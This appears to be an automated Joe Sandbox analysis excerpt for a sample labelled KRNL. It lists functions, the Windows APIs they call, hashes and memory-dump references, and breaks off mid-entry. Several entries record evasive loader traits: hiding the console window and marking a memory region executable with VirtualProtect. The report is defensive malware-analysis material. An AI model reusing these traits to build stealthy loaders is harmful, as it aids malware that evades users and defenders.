Instruction ID: 7d82d5c2f4889cd71774557edc6e1056f3f457f206df0b3871306cfa55cc606e
Opcode Fuzzy Hash: 0ff04b945d2aac2ded0fb6e3497b7ca115f2b57ed97f4ff04de89150a15007e8
Instruction Fuzzy Hash: A171D2B2C013498FCB10DFA5DC44BEEBBB6BF49310F144628E914A7391E735AA45CBA5

Function 006E1000 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

pp, xrefs: 006E101E

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID: pp
API String ID: 0-2122341976
Opcode ID: 551a11f1dc6cd88446fe5e4ec02312f469da16a9ce8c18e247cd909af1010734
Instruction ID: dbb931ff9730d124bf46bebb33cd955cd264efb5b39007e379f905b42b98fc67
Opcode Fuzzy Hash: 551a11f1dc6cd88446fe5e4ec02312f469da16a9ce8c18e247cd909af1010734
Instruction Fuzzy Hash: A4212B326102A50B879D9F396D6207BFB4BDBC75A0705562EDD129F3D1E930DE5082E8

Function 006E24B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 006E24DD
ShowWindow.USER32(00000000,00000000), ref: 006E24E6
GetCurrentThreadId.KERNEL32 ref: 006E2524

Part of subcall function 006EF11D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,006E253A,?,?,00000000), ref: 006EF129
Part of subcall function 006EF11D: GetExitCodeThread.KERNEL32(?,00000000,?,?,006E253A,?,?,00000000), ref: 006EF142
Part of subcall function 006EF11D: CloseHandle.KERNEL32(?,?,?,006E253A,?,?,00000000), ref: 006EF154

std::_Throw_Cpp_error.LIBCPMT ref: 006E2567
std::_Throw_Cpp_error.LIBCPMT ref: 006E2578
std::_Throw_Cpp_error.LIBCPMT ref: 006E2589
std::_Throw_Cpp_error.LIBCPMT ref: 006E259A

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ThreadWindow$CloseCodeConsoleCurrentExitHandleObjectShowSingleWait
String ID:
API String ID: 3956949563-0
Opcode ID: ccc2ea49c2a4c11781d26cbfda8cf62b9c8cabf05b63d102133f5225dbd906e3
Instruction ID: fa8da950fbd48eda3c8cdc4c0d6502c1009abf29ead60990ac50d5af12390bcb
Opcode Fuzzy Hash: ccc2ea49c2a4c11781d26cbfda8cf62b9c8cabf05b63d102133f5225dbd906e3
Instruction Fuzzy Hash: 9821A5F2D413959BDF50AF959D07BDE7BBAAF04710F080128F60476281E7B6A504C6A6

Function 006FCF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,AB1687B8,?,006FD01A,?,?,00000000), ref: 006FCFCC

Strings

api-ms-, xrefs: 006FCF62
ext-ms-, xrefs: 006FCF76

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 21038a4c6a263bb1b9d6a63042490184febd2546351c5734fa47e0009f45b87d
Instruction ID: 794264b3dd513a880de7a660db47844131e8426facfd5debb747b33aefa0c95a
Opcode Fuzzy Hash: 21038a4c6a263bb1b9d6a63042490184febd2546351c5734fa47e0009f45b87d
Instruction Fuzzy Hash: 3721F631A02219ABCB218B68ED41AEAB75B9F457B0F254111FA59A73D0D774ED00CAD0

Function 006E1750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 006E1783

Strings

ios_base::eofbit set, xrefs: 006E1BEA
ios_base::badbit set, xrefs: 006E1BFA, 006E1C20
ios_base::failbit set, xrefs: 006E1BEF

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 99cbaa5e053cdb58593a0a7daa164c7394eb774f9a877c9c3ace476a37f27fc7
Instruction ID: 7310d915460194a38f4f7413e5305a81b8d8e06c819722eb617de05489a6494d
Opcode Fuzzy Hash: 99cbaa5e053cdb58593a0a7daa164c7394eb774f9a877c9c3ace476a37f27fc7
Instruction Fuzzy Hash: 98F15D75A012588FCB14CF69C494BADB7F2FF89320F198269E815AF391D734AD41CB90

Function 006F5349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00015470,00000000,00000000,00000000), ref: 006F5392
GetLastError.KERNEL32(?,?,?,006E2513,00000000,00000000), ref: 006F539E
__dosmaperr.LIBCMT ref: 006F53A5

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 7df5d19426a9e366a0978f194efc9b55882fcec4d60dfb664c7a0b0a9bba59a8
Instruction ID: 266b5e9d29d7abbf13614b305caed00c5436bd552bd8dc0fd4288ec541b582db
Opcode Fuzzy Hash: 7df5d19426a9e366a0978f194efc9b55882fcec4d60dfb664c7a0b0a9bba59a8
Instruction Fuzzy Hash: 32012D7250561DABDF159FA8DC05AFE3BA6EF00391F108058FB0296190EBB1DD50DAA4

Function 006F54EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FC2BB: GetLastError.KERNEL32(00000000,?,006F76E9,006FD306,?,?,006FC1B7,00000001,00000364,?,00000005,000000FF,?,006F5495,00718E38,0000000C), ref: 006FC2BF
Part of subcall function 006FC2BB: SetLastError.KERNEL32(00000000), ref: 006FC361

CloseHandle.KERNEL32(?,?,?,006F53D9,?,?,006F54CE,00000000), ref: 006F551F
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,006F53D9,?,?,006F54CE,00000000), ref: 006F5535
ExitThread.KERNEL32 ref: 006F553E

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: fbe41fb29f43578eab2063c0e5997e91200ed80e641f8037c4c3579d69169ea0
Instruction ID: e8790d09b6395eedf7fb669f2ba9f2708658f38ef1dc0299984371f172234eb0
Opcode Fuzzy Hash: fbe41fb29f43578eab2063c0e5997e91200ed80e641f8037c4c3579d69169ea0
Instruction Fuzzy Hash: 9BF0F471500A0967CB255F7998496BA3A9BAF00370B188614FBAAC72E1DB24ED52C794

Function 006F565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,006F5721,006F8396,006F8396,?,00000002,AB1687B8,006F8396,00000002), ref: 006F5670
TerminateProcess.KERNEL32(00000000,?,006F5721,006F8396,006F8396,?,00000002,AB1687B8,006F8396,00000002), ref: 006F5677
ExitProcess.KERNEL32 ref: 006F5689

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 635c2a51b33c77d26b498cd2f640dff92d93e556bce2d7773a4f61819b751cd0
Instruction ID: c3d4433d5b7c37ead2e87c436a30f4111f662253bbf25d4fa75f2f20a00ba2da
Opcode Fuzzy Hash: 635c2a51b33c77d26b498cd2f640dff92d93e556bce2d7773a4f61819b751cd0
Instruction Fuzzy Hash: 8AD09E31100508BBCF412F65EC0D8E93F2BEF40381744C014BB56891B2DF359D51DA98

Function 00703BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00703F9E: GetConsoleOutputCP.KERNEL32(AB1687B8,00000000,00000000,?), ref: 00704001

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,006F8584,?), ref: 00703D79
GetLastError.KERNEL32(?,?,006F8584,?,006F87C8,00000000,?,00000000,006F87C8,?,?,?,00718FE8,0000002C,006F86B4,?), ref: 00703D83

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: ed1486fc6a07da4e208f8b128248b2828f78674307ec7b5fc86ffeb384ffa155
Instruction ID: 62e97723613b5c56a0f26bc10c353d1149627fdacc60b619481787c0bf16e06e
Opcode Fuzzy Hash: ed1486fc6a07da4e208f8b128248b2828f78674307ec7b5fc86ffeb384ffa155
Instruction Fuzzy Hash: 736171B5904159EFDF15DFA8C884AEEBBFDAB09304F144249E904E7292D779DA01CBA0

Function 007043CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00703D5F,00000000,006F87C8,?,00000000,?,00000000), ref: 00704469
GetLastError.KERNEL32(?,00703D5F,00000000,006F87C8,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,006F8584), ref: 0070448F

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 981bf949616a839a9e9b20c4ffc5e20eb4e3ed5e71cd2e59b881d077b7e58024
Instruction ID: 6bd2013b2fbe04faaa34e0a0c1d476acb6e3734d7a67dad37b2942391c646656
Opcode Fuzzy Hash: 981bf949616a839a9e9b20c4ffc5e20eb4e3ed5e71cd2e59b881d077b7e58024
Instruction Fuzzy Hash: DF21B174A00258DBCF19CF19DC80AEDB7FAEB48305F1481A9EA06D7251E634EE42CB64

Function 006E90F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 006E91C9
std::_Throw_Cpp_error.LIBCPMT ref: 006E91D7

Part of subcall function 006EEFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,006E8E4A,006EA2F0), ref: 006EEFE7

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID:
API String ID: 3666349979-0
Opcode ID: cd88f1f667b210fe5e543e0102a2196f66259532c05f28dfb5a43cc5f9518821
Instruction ID: 084a2442de05f85878169cacd14794732f92b255e231794e6806c327945b3e65
Opcode Fuzzy Hash: cd88f1f667b210fe5e543e0102a2196f66259532c05f28dfb5a43cc5f9518821
Instruction Fuzzy Hash: B021F3B0A01786DBDB109F65C945BAEBBB6FF04320F144228E5256B3C1D734A905CBE6

Function 006FDA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,006FD941,00719330,0000000C), ref: 006FDA9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,006FD941,00719330,0000000C), ref: 006FDAB0

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 8613c942bff687ceb27cdf58e404b2b7aa0e1456d69c60e68219964bf05639cb
Instruction ID: 5feed51eb39cbc3de781f97cc56136cced6098ac5a56e21ab9adb456cea165b2
Opcode Fuzzy Hash: 8613c942bff687ceb27cdf58e404b2b7aa0e1456d69c60e68219964bf05639cb
Instruction Fuzzy Hash: 6711293150C75A4AC7308E3ECC886727F97AB56330B380759D6B6862F5C774F886C249

Function 006E1EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006E1240: _strlen.LIBCMT ref: 006E12BA

FreeConsole.KERNELBASE(?,?,?,?,?,006E173F,?,?,?,00000000,?), ref: 006E1F21
VirtualProtect.KERNELBASE(0071A011,00000549,00000040,?), ref: 006E1F78

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID:
API String ID: 1248733679-0
Opcode ID: 680b42587293cf0d925100d1c921269f16391613869f63e579d2d4a53df6c9c3
Instruction ID: 31e7e8dcb56808238681cec2b23c57108cb2655656e0c458f93d643c6e2bd0ce
Opcode Fuzzy Hash: 680b42587293cf0d925100d1c921269f16391613869f63e579d2d4a53df6c9c3
Instruction Fuzzy Hash: 2C110A71A413047BDB40BBA99C03EFE77B5DB49700F008439F608AB2C2F679995057D9

Function 006F5470 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00718E38,0000000C), ref: 006F5483
ExitThread.KERNEL32 ref: 006F548A

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: be934c6adc98e663fec5b15ccf1a2c10a589b4808fad3668b6938adedbdaf604
Instruction ID: a7da837acad3931ce3ef8bf56d141fcaa04b9d5750ffc083b45094d9ad79f376
Opcode Fuzzy Hash: be934c6adc98e663fec5b15ccf1a2c10a589b4808fad3668b6938adedbdaf604
Instruction Fuzzy Hash: 4BF0AF71A00608AFDB00AF74C90AABE7B72EF41750F10815DF6069B292DF78AD41CBA5

Function 006E2270 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 006E2288
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 006E229C

Part of subcall function 006E1FB0: CreateFileA.KERNELBASE ref: 006E2036
Part of subcall function 006E1FB0: GetFileSize.KERNEL32(00000000,00000000), ref: 006E2046
Part of subcall function 006E1FB0: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 006E206B
Part of subcall function 006E1FB0: CloseHandle.KERNELBASE(00000000), ref: 006E207A
Part of subcall function 006E1FB0: _strlen.LIBCMT ref: 006E20CD

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: File$HandleModule$CloseCreateNameReadSize_strlen
String ID:
API String ID: 3505371420-0
Opcode ID: b4c42af7bbfc7ea98430c1ad9f099ac8b9f6eb596d1e684155966f2dddcebb0a
Instruction ID: ac20e67e1bf43da642a831b8f7e1c31fc6c972f75e73055023c97470e99c208d
Opcode Fuzzy Hash: b4c42af7bbfc7ea98430c1ad9f099ac8b9f6eb596d1e684155966f2dddcebb0a
Instruction Fuzzy Hash: FBF0E5B190135067D1616B29AC0BEEF7BACDF99710F008518F6894A1C1EA78614586E7

Function 006FBED7 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,007002B4,?,00000000,?,?,006FFF54,?,00000007,?,?,0070089A,?,?), ref: 006FBEED
GetLastError.KERNEL32(?,?,007002B4,?,00000000,?,?,006FFF54,?,00000007,?,?,0070089A,?,?), ref: 006FBEF8

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675908058.000000000071B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675928109.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675943593.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675976105.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_KRNL.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 58f271d9eaef2254e5bf7dd9f46f9390a100cd8c37200114c0cf8e5d5f937242
Instruction ID: 02783ddd433b28eeaffcbeb98c1c4133e592a92558274e4dc78d7e85b3136c91
Opcode Fuzzy Hash: 58f271d9eaef2254e5bf7dd9f46f9390a100cd8c37200114c0cf8e5d5f937242
Instruction Fuzzy Hash: 89E0E67120965867CB112FA9EC09BE53B59EB407D1F14D065F708962B0DB359850CFDC

Function 006EDEF0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675842312.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1675824024.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675870875.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675889320.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
